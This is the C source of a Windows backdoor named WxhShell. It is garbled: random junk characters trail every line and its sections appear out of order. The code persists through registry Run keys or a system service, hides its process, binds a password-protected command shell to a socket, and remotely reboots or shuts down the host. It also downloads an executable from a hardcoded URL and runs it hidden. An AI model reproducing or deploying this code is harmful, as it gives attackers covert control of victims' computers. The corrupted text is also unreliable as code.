    closesocket(wsh); eHUr!zH:  
    ExitThread(0); al<[iZ  
    } c+:LDc3!Gb  
    break; SXfuPM  
    } &eYnO~$!  
  // 关机 z DDvXz  
  case 'd': { I^>m-M.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \~|+*^e)  
    if(Boot(SHUTDOWN)) rxZ%vzVQ>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "L'0"  
    else { [\(}dnj:  
    closesocket(wsh); wg<UCmfu!  
    ExitThread(0); %a- *Ku  
    } H4[];&]xr  
    break; J ik+t\A  
    } VhdMKq~`  
  // 获取shell Q@B--Omfh  
  case 's': { d1YE$   
    CmdShell(wsh); s ~'><ioh  
    closesocket(wsh); EugQr<sM#  
    ExitThread(0); XRi/O)98o  
    break; 6(1xU\x  
  } Jj=0{(X  
  // 退出 r[>4b}4s  
  case 'x': { 2$8#ePyq*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L'XX++2  
    CloseIt(wsh);  g wM~W  
    break; Sn 3@+9J  
    } bo^d!/ ;  
  // 离开 HZ$q`e  
  case 'q': { TG ,T>'   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fAMJFHW  
    closesocket(wsh); Hd)z[6u8eT  
    WSACleanup(); \wW'Hk=  
    exit(1); #$trC)?~q  
    break; |)'gQvDM  
        } -oGJPl{r  
  } q^nSYp#  
  } rG7S^,5o  
9y/gWE  
  // 提示信息 > "G H Li  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e~7h8?\.q  
} 5X^bvW26  
  } 0fc]RkHs"  
Vg1! u+`<  
  return; UPtWj8h  
} C4V#qhj  
zPwU'TbF  
// shell模块句柄 q7id?F}3&  
int CmdShell(SOCKET sock) _H#l&bL@C  
{ bJ8~/d]+  
STARTUPINFO si; |E+tQQr%'  
ZeroMemory(&si,sizeof(si)); K*&?+_v :  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >AcpJ|V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qK ,mG {  
PROCESS_INFORMATION ProcessInfo; @d5G\1(%  
char cmdline[]="cmd"; @&f3zq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6`LC(Nv%-n  
  return 0; F">>,Oc)U"  
} p_hljgOV  
|.D_[QI  
// 自身启动模式 6MC*2}W  
int StartFromService(void) 6km{= ```  
{ I+ipTeB^  
typedef struct phIEz3Fu/  
{ QC:/xP  
  DWORD ExitStatus; <,~ =o  
  DWORD PebBaseAddress; A:"J&TbBx  
  DWORD AffinityMask; }`/wj  
  DWORD BasePriority; MxiU-  
  ULONG UniqueProcessId; zdA:K25"  
  ULONG InheritedFromUniqueProcessId; /Cd`h ;#@  
}   PROCESS_BASIC_INFORMATION; #UREFwSL  
s)]Z*#ZZ  
PROCNTQSIP NtQueryInformationProcess; |=.z0{A7H  
Ty]/F+{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >/Z#{;kOz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uNLB3Rdy}  
hA`>SkO  
  HANDLE             hProcess; ;S+c<MSl  
  PROCESS_BASIC_INFORMATION pbi; }z&P^p)R  
NEQcEUd?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D5X;hd  
  if(NULL == hInst ) return 0; ki6`d?  
\\jB@O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t" 1'B!4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;_0)f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JWG7QH  
^o't &  
  if (!NtQueryInformationProcess) return 0; )@Yp;=l  
78tWzO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  l;>#O  
  if(!hProcess) return 0; h Ia{s)  
9frx60  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *qg9~/  
o}5:vi]  
  CloseHandle(hProcess); {xt<`_R  
1W;3pN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B$7m@|p!  
if(hProcess==NULL) return 0;  e4NT  
 1$idF  
HMODULE hMod; _u}v(!PI  
char procName[255]; :EyH'v  
unsigned long cbNeeded; /#$bb4  
<C6/R]x#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bi!4I<E>k  
L&ws[8-  
  CloseHandle(hProcess); 4:cbasy  
y{ 90A  
if(strstr(procName,"services")) return 1; // 以服务启动 6f=/vRAh$  
VO(Ck\i}  
  return 0; // 注册表启动 FStE/2?  
} %e7{ke}r  
cFUYT$8>  
// 主模块 LF%1)x  
int StartWxhshell(LPSTR lpCmdLine) <-Q0WP_^  
{ wRPBJ-C)  
  SOCKET wsl; Yx&cnDx  
BOOL val=TRUE; nA F@47Wo  
  int port=0; 8<P$E!  
  struct sockaddr_in door; $?Aez/  
OJ UM Y<5  
  if(wscfg.ws_autoins) Install(); = k3O4gE7  
bS/`G0!  
port=atoi(lpCmdLine); *U54x /w|  
'! 1ts@  
if(port<=0) port=wscfg.ws_port; -xXNzC   
zwU8iVDe  
  WSADATA data; LEhku4U.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =AL95"cH~  
77i |a]Kd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $%r|V*5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `4}!+fXQ  
  door.sin_family = AF_INET; FZ=6x}QZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !+ uMH!  
  door.sin_port = htons(port); a #@Q.wL  
ZX'{o9+w5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $:u,6|QsS=  
closesocket(wsl); 20?i4h_  
return 1; f=K1ZD  
} CHeG{l)<r  
$+P v fQ  
  if(listen(wsl,2) == INVALID_SOCKET) { 2zFdKs,  
closesocket(wsl); $elrX-(vL  
return 1; 1xguG7  
} eU%5CVH.v  
  Wxhshell(wsl); _D,8`na>K  
  WSACleanup(); VdeK~#k  
~7 `x9MUc  
return 0; 2jhVmK  
ZC2C`S\xr  
} yQi|^X~?$  
xZ@Y`2A':  
// 以NT服务方式启动 A^K,[8VX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +W;B8^imG  
{ K&)a3Z=(.  
DWORD   status = 0; Mxd fuFss  
  DWORD   specificError = 0xfffffff; rM?D7a{q  
a^=4 '.ok  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^1~/FU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "^XN"SUw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N!h>fE`  
  serviceStatus.dwWin32ExitCode     = 0; c%Gz{':+  
  serviceStatus.dwServiceSpecificExitCode = 0; /6q/`vx@  
  serviceStatus.dwCheckPoint       = 0; Bw_Ih|y,w  
  serviceStatus.dwWaitHint       = 0; %I.{umU  
wP8R=T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); he+[  
  if (hServiceStatusHandle==0) return; 3?O| X+$p  
vlPE8U=  
status = GetLastError(); z9'0&G L  
  if (status!=NO_ERROR) 8uT6QCf  
{ /7lkbL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1|nB\xgu  
    serviceStatus.dwCheckPoint       = 0; +.N;h-'  
    serviceStatus.dwWaitHint       = 0; D/:)rj14b  
    serviceStatus.dwWin32ExitCode     = status; H9>&"=".  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z~c7r n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RyhR#  
    return; IWWFl6$-  
  } ]bR'J\Fwl  
<+$S{Z.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &*y ve}su  
  serviceStatus.dwCheckPoint       = 0; ZbrE m  
  serviceStatus.dwWaitHint       = 0; b>7ts_b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GawO>7w8  
} q@sH@-z4]  
3> (`Y  
// 处理NT服务事件,比如:启动、停止 X,N@`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f2u2Ns0Ym  
{ dXDD/8E  
switch(fdwControl) @TprS d  
{ \k,bz 0  
case SERVICE_CONTROL_STOP: C\; 8l}t  
  serviceStatus.dwWin32ExitCode = 0; G 6, 8Xwk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h|H;ZC(B  
  serviceStatus.dwCheckPoint   = 0; ye%F <:O7  
  serviceStatus.dwWaitHint     = 0; >YfOR%mS4  
  { 4eEs_R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wtUG2 (  
  } cR&xl^BJ  
  return; OKqpc;y:D  
case SERVICE_CONTROL_PAUSE: Ih7Eq/iu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )QE_+H}p  
  break; FSmi.7  
case SERVICE_CONTROL_CONTINUE: (lnQ!4LK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xS}H483h6W  
  break; AWDjj\Q4  
case SERVICE_CONTROL_INTERROGATE: Pc7: hu  
  break; f UIs(}US  
}; SRTpE,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7&3URglsL"  
} vxeT[/6i  
c6HU'%v  
// 标准应用程序主函数 ;Kf|a}m-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /pU6trIM  
{ XNU qZ-M :  
p4'"Wk8  
// 获取操作系统版本 !Ia"pNDf  
OsIsNt=GetOsVer(); qX(%Wn;n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cDiz!n*.q  
"Y!dn|3  
  // 从命令行安装 @__;RVQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); AD\<}/3U  
m GhJn  
  // 下载执行文件 hU 7fZl%yl  
if(wscfg.ws_downexe) { 6^|6V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [kOA+\v  
  WinExec(wscfg.ws_filenam,SW_HIDE); f~FehN7  
} /6?plt&CA  
YfwJBz D  
if(!OsIsNt) { LJwMM  
// 如果时win9x,隐藏进程并且设置为注册表启动 2&0<$>  
HideProc(); :BX{ *P  
StartWxhshell(lpCmdLine); ^\&g^T%  
} HY4E  
else (AG  
  if(StartFromService()) X`n0b<  
  // 以服务方式启动 m@.{zW7bO  
  StartServiceCtrlDispatcher(DispatchTable); %vtSeJ  
else Z9m;@<%  
  // 普通方式启动 K$cIVsfr  
  StartWxhshell(lpCmdLine); <aaDW  
ox_h9=$-  
return 0; 0l: pWc  
} hIQ[:f  
3DAGW"F  
}t2pIkF;  
(?BgT i\  
=========================================== \TB%N1^  
YC&jKx.>  
[4Faq3T"  
` G=L07  
h ^h-pd  
rz }l<t~H  
" (}X?v`Y^W  
:{s%=\k {d  
#include <stdio.h> mBZ Dl4 '  
#include <string.h> G;HlII9x[  
#include <windows.h> ]cqZ!4?_  
#include <winsock2.h>  g1wI/  
#include <winsvc.h> o9LD6$  
#include <urlmon.h> bsi q9$F  
/QXs-T}d  
#pragma comment (lib, "Ws2_32.lib") Z ;y}gv/ {  
#pragma comment (lib, "urlmon.lib") Z!-<rajl  
)fMX!#KP  
#define MAX_USER   100 // 最大客户端连接数 DV[ Jbl:)  
#define BUF_SOCK   200 // sock buffer 5uV"g5?w  
#define KEY_BUFF   255 // 输入 buffer G#n^@kc*,  
g<iwxF  
#define REBOOT     0   // 重启 jqGo-C~  
#define SHUTDOWN   1   // 关机 5d?!<(e6  
JXY!c\,  
#define DEF_PORT   5000 // 监听端口 rZ.a>'T4  
@CaD8%j{  
#define REG_LEN     16   // 注册表键长度 (>LHj]}K  
#define SVC_LEN     80   // NT服务名长度  6I cM:x  
^[seK)S=  
// 从dll定义API o;VkoYV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~6:LUM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pl#o!j(i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bmO__1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f1Yv hvWL  
{rb-DB-/5M  
// wxhshell配置信息 XJJ[F|k~  
struct WSCFG { W\>^[c/  
  int ws_port;         // 监听端口 7z g)h  
  char ws_passstr[REG_LEN]; // 口令 }+dM1O  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?b@q5Y  
  char ws_regname[REG_LEN]; // 注册表键名 Y*kh$E%<#  
  char ws_svcname[REG_LEN]; // 服务名 B15O,sL&W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r%TLv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !qTpQ5Dm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 17 i<4f#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tIxhSI^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" co<2e#p;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W>?f^C!+m  
h{W$ fZc<  
}; )4!CR/ao  
d^Zo35X  
// default Wxhshell configuration *h*j%  
struct WSCFG wscfg={DEF_PORT, uv|eVT3jNs  
    "xuhuanlingzhe", _Sly7_  
    1, ^I(oy.6?=p  
    "Wxhshell", I 9{40_  
    "Wxhshell", yfM>8"h@  
            "WxhShell Service", $ ] W[y=  
    "Wrsky Windows CmdShell Service", U^[cYTG  
    "Please Input Your Password: ", GhG%>U#&a  
  1, [!J @a  
  "http://www.wrsky.com/wxhshell.exe", N+\oFbE  
  "Wxhshell.exe" L,C? gd@"  
    }; 4i_spF-3  
a1 4 6kq  
// 消息定义模块 i"%JFj_G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t4f (Y,v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KjFZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; saGRP}7?  
char *msg_ws_ext="\n\rExit."; <=;H[} e  
char *msg_ws_end="\n\rQuit."; FF%\g J  
char *msg_ws_boot="\n\rReboot..."; q Z8|B  
char *msg_ws_poff="\n\rShutdown..."; Jh37pI  
char *msg_ws_down="\n\rSave to "; g(-;_j!=  
uSABh ^  
char *msg_ws_err="\n\rErr!"; 4*0:bhhhf_  
char *msg_ws_ok="\n\rOK!"; a4A`cUt  
_7Xd|\Zc  
char ExeFile[MAX_PATH]; Y3vX)D}  
int nUser = 0; `Mg8]H~  
HANDLE handles[MAX_USER]; |. J,8~x  
int OsIsNt; &_"ORqn&  
0n4g $JK7  
SERVICE_STATUS       serviceStatus; p&i. )/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N@k3$+ls  
bH'S.RWp=  
// 函数声明 siZr@g!L  
int Install(void); CTl(_g  
int Uninstall(void); 1pd 9s8CA  
int DownloadFile(char *sURL, SOCKET wsh); 1i4WWK7k  
int Boot(int flag); tl DY k  
void HideProc(void); f=t:[ < )  
int GetOsVer(void); O4m(Er@a  
int Wxhshell(SOCKET wsl); !cRfZ  
void TalkWithClient(void *cs); 9.xvV|Sp  
int CmdShell(SOCKET sock); *,"jF!C&[  
int StartFromService(void); TNh=4xQ}  
int StartWxhshell(LPSTR lpCmdLine); j'3j}G%\T  
9 0X?1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MMMqG`Px  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Dq?E\  
hdo&\Q2D8  
// 数据结构和表定义 uCw>}3  
SERVICE_TABLE_ENTRY DispatchTable[] = #X#8ynt  
{ EbCIIMbe"  
{wscfg.ws_svcname, NTServiceMain}, As0 B\  
{NULL, NULL} N5m'To]  
}; zm3-C%:Bw  
ovo/!YJ2  
// 自我安装 & B}Lo  
int Install(void) XcOA)'Py  
{ tE[H8  
  char svExeFile[MAX_PATH]; $ K})Q3FNi  
  HKEY key; uM<|@`&b  
  strcpy(svExeFile,ExeFile); (/&;jV2DD[  
@|BD|{k  
// 如果是win9x系统,修改注册表设为自启动 J7:9_/ e0T  
if(!OsIsNt) { y=w`w>%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !K[/L< Kv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y=E9zUF  
  RegCloseKey(key); f e|g3>/|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k=?^){[We  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dXl]Pe|v  
  RegCloseKey(key); UgR :qjI  
  return 0; FY8!g'.Oe  
    } #,&8&  
  } \QGa 4_#  
} E tx`K5Tr]  
else { s O=4IBE  
)\>r-g$  
// 如果是NT以上系统,安装为系统服务 ?W!ry7gXO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =p q:m  
if (schSCManager!=0) wX0l?xdI  
{  MGQ,\55"  
  SC_HANDLE schService = CreateService F}'wH-qp  
  ( G6V/SaD  
  schSCManager, n?:2.S.8  
  wscfg.ws_svcname, 3rNc1\a;  
  wscfg.ws_svcdisp, !" E-\cc'  
  SERVICE_ALL_ACCESS, M\9F:.t=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (~&w-w3  
  SERVICE_AUTO_START, $3k "WlRG  
  SERVICE_ERROR_NORMAL, 'w.}2(  
  svExeFile, #Ao !>qCE  
  NULL, FaY_ 0G;y  
  NULL, ;1`!wG-DD  
  NULL, < bFy(+  
  NULL, Uyk,.*8"  
  NULL HTk\723Rdw  
  ); ^I`a;  
  if (schService!=0) $7NCb7%/L  
  { % :/_f  
  CloseServiceHandle(schService);  ?Vc0)  
  CloseServiceHandle(schSCManager); % 5z gd>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a9l8{ 3  
  strcat(svExeFile,wscfg.ws_svcname); \|%E%Yc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O~PChUU*Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *5D3vB*S  
  RegCloseKey(key); ?3q@f\fZ  
  return 0; V_"f|[1  
    } o=_c2m   
  } G\=_e8(  
  CloseServiceHandle(schSCManager); TH4\HY9qa?  
} Ur!~<4GO  
} "^Rv#  
('hT  
return 1; $a(`ve|  
} %e? fH.)  
ER^QV(IvP8  
// 自我卸载 y=Q!-~5|fF  
int Uninstall(void) VagT_D  
{ ;>>C)c4V"  
  HKEY key; Qxa{UQh}9  
Ew$I\j*  
if(!OsIsNt) { h@1!T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5iM[sg[y9  
  RegDeleteValue(key,wscfg.ws_regname); `1+F,&e  
  RegCloseKey(key); uMmXs% 9T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qP1FJ89H  
  RegDeleteValue(key,wscfg.ws_regname); E[g*O5  
  RegCloseKey(key); Vrkf(E3_V  
  return 0; mL yBm  
  } R_N:#K.M  
} :O-1rD  
} :a0zT#u  
else { m3.sVI0I  
}dYBces  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FN^FvQ  
if (schSCManager!=0) X+82[Y,mB.  
{ T!|=El>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6b=q-0yj  
  if (schService!=0) 0 n vSvk  
  { "r'ozf2 \  
  if(DeleteService(schService)!=0) { cg{AMeW  
  CloseServiceHandle(schService); Z`Z5sj 4{  
  CloseServiceHandle(schSCManager); bC6oqF'#  
  return 0; Jxl6a:  
  } /)L 0`:I#  
  CloseServiceHandle(schService); >m6&bfy\q  
  } ~nY]o"8D  
  CloseServiceHandle(schSCManager); =^;P#kX  
} e'9r"<>i  
} vbG]mMJ  
~O6\6$3b5E  
return 1; d+fSo SjX8  
} g(4bBa9y  
#0Ds'pE-  
// 从指定url下载文件 qxOi>v0\H  
int DownloadFile(char *sURL, SOCKET wsh) f 2YLk  
{ WT\<.Py  
  HRESULT hr; a;AzY'R  
char seps[]= "/"; {KL5GowH  
char *token; ~+6Vdx m  
char *file; sW@krBxMv  
char myURL[MAX_PATH];  ti@kKz  
char myFILE[MAX_PATH]; @.C{OSH E  
{w6/[ -^  
strcpy(myURL,sURL); #FxPj-3(ix  
  token=strtok(myURL,seps); ]/X(V|t  
  while(token!=NULL) 4=8QZf0\  
  { @OpNHQat9  
    file=token; zg)sd1@  
  token=strtok(NULL,seps); R:aa+MX(1  
  } :mcYZPX#  
%/%UX{8R  
GetCurrentDirectory(MAX_PATH,myFILE); KvFMs\o6p  
strcat(myFILE, "\\"); k?GD/$1t  
strcat(myFILE, file); *iA4:EIP  
  send(wsh,myFILE,strlen(myFILE),0); yR5XJ;Tct  
send(wsh,"...",3,0); !D^c3d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E0n6$5Uc?  
  if(hr==S_OK) 8jlLUG:g  
return 0; ~nLN`H d  
else ZJW[?V\5=  
return 1; -e GL)M  
FDzqL;I  
} h&&6r\4/|  
bPK Ow<  
// 系统电源模块 5K%SL1N  
int Boot(int flag) #18FA|   
{ Cizvw'XDV  
  HANDLE hToken; jhgX{xc  
  TOKEN_PRIVILEGES tkp; SMr13%KN/  
>r@.F%  
  if(OsIsNt) { @&F@I3`{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YUU-D(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f_^1J  
    tkp.PrivilegeCount = 1; VZka}7a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; URgk^nt2p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IA zZ1#/3  
if(flag==REBOOT) { .jw}JJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Yj|eji7y  
  return 0; -/C)l)V}  
} `A$!]&[~|  
else { ) /vhclkb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Psura$:  
  return 0; asiov[o;  
} O=cxNy-I  
  } -Y#sI3o*R8  
  else { j1q[2'  
if(flag==REBOOT) { Am0{8 '  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pL=d% m.W  
  return 0; '+>fFM,*B  
} J&/lx${  
else { gJiK+&8I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `vG,}Pt]  
  return 0; 5<pftTcZ  
} ?<&O0'Q  
} AE`We$!  
#o/ H~Iv  
return 1; b !@Sn/  
} N/$`:8"  
X=JmF97  
// win9x进程隐藏模块 Ma*y=d;,1  
void HideProc(void) @$"J|s3M  
{ {CG_P,FO  
 XY.5Rno4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W!blAkM%i  
  if ( hKernel != NULL ) 4to% `)]  
  { .roqEasu8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /yz=Cjoz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E9|eu\  
    FreeLibrary(hKernel); aV o;~h~  
  } <e]Oa$  
w~_;yQ  
return; 'bGX-C  
} 2$_9cF Wm  
"\Egs)\  
// 获取操作系统版本 $WYbm}j  
int GetOsVer(void) V@7KsB  
{ tt?58dm|  
  OSVERSIONINFO winfo; KIA 2"KbjG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <^b7cOFQ  
  GetVersionEx(&winfo); & gJV{V5Ay  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n,eJ$2!J  
  return 1; \ \BCcr\l  
  else -LDCBc"  
  return 0; IW8+_#d  
} SvN9aD1  
W3vi@kb]  
// 客户端句柄模块  rhpPCt  
int Wxhshell(SOCKET wsl) FJ*i\Q/D  
{ 4L-:*b_v\  
  SOCKET wsh; +$xeoxU>;  
  struct sockaddr_in client; -yGDh+-  
  DWORD myID; E^GHVt/.  
|9"p|6G?B  
  while(nUser<MAX_USER) [s9O0i" Y  
{ c`lJu_  
  int nSize=sizeof(client); _, ;j7%j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GV)<Q^9  
  if(wsh==INVALID_SOCKET) return 1; j-CnT)W<  
"dR |[a<#g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EF pIp4_Y  
if(handles[nUser]==0) >FhK #*Pa  
  closesocket(wsh); J};z85B  
else  hjO*~  
  nUser++; OmM=o*d  
  } &U+ _ -Ph  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TI9UXa:V\  
V`adWXu  
  return 0; *A}cL  
} QDpEb=|S  
Oz|K8p  
// 关闭 socket |AlR^N  
void CloseIt(SOCKET wsh) U yw-2]!n  
{ /h v4x9  
closesocket(wsh); eI1GXQ%  
nUser--; tb :L\A^:  
ExitThread(0); axHK_1N{  
} izKfU?2]X@  
e*+F pW@  
// 客户端请求句柄 %/>xO3"T  
void TalkWithClient(void *cs) yq+!czlZ  
{ L< zD<M  
h^ -. ]Y  
  SOCKET wsh=(SOCKET)cs; |QV!-LK  
  char pwd[SVC_LEN]; Kj=b[ e%  
  char cmd[KEY_BUFF]; Soie^$ Y  
char chr[1]; qO`)F8  
int i,j; =A Vg Iv  
$3Z-)m  
  while (nUser < MAX_USER) { SI:U0gUc  
m/NdJMoN=  
if(wscfg.ws_passstr) { 0Z|FZGRP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #,{+3Y&5-+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2<mW\$  
  //ZeroMemory(pwd,KEY_BUFF); H:p Z-v*  
      i=0; .1 %T W)  
  while(i<SVC_LEN) { 1FtM>&%4  
`OymAyEYQ  
  // 设置超时 dD<fn9t  
  fd_set FdRead; ^-FRTC  
  struct timeval TimeOut; < j$#9QQ1  
  FD_ZERO(&FdRead); tNVV)C  
  FD_SET(wsh,&FdRead); m]*Bx%-1c  
  TimeOut.tv_sec=8; TpA\9N#$  
  TimeOut.tv_usec=0; 1 nvTce  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l{w#H|]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jlFk@:y4  
&[2U$`P`V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^\B :R,  
  pwd=chr[0]; '03->7V  
  if(chr[0]==0xd || chr[0]==0xa) { ^I KO2Ft  
  pwd=0; ~j#~ \Ir  
  break; M4ozTp<$O  
  } Y^%T}yTtq  
  i++; )} DUMq7  
    } R(j1n,c]  
"m{,~'x  
  // 如果是非法用户,关闭 socket P,ua<B}L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A?TBtAe  
} /ug8]Lo0  
B12$I:x`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \, !Q Jp4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mj?16\|]  
~lEVXea!  
while(1) { `RMI(zI3g.  
R{,ooxH\J  
  ZeroMemory(cmd,KEY_BUFF); _WX#a|4h{  
W&h[p_0  
      // 自动支持客户端 telnet标准   U $Qv>7  
  j=0; cNzt%MjP  
  while(j<KEY_BUFF) { w@2Vts  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J==SZ v  
  cmd[j]=chr[0]; , n !vsIN  
  if(chr[0]==0xa || chr[0]==0xd) { }0,>2TTDN  
  cmd[j]=0; "QoQ4r<|  
  break; )a}"^1  
  } ,wwZI`>-  
  j++; 0=wK:Ex  
    } M Jj4Hd  
ThW,Y" l  
  // 下载文件 ,_!6U  
  if(strstr(cmd,"http://")) { p}Fs'l?7Rq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UDf9FnG}L  
  if(DownloadFile(cmd,wsh)) wwKh CmH  
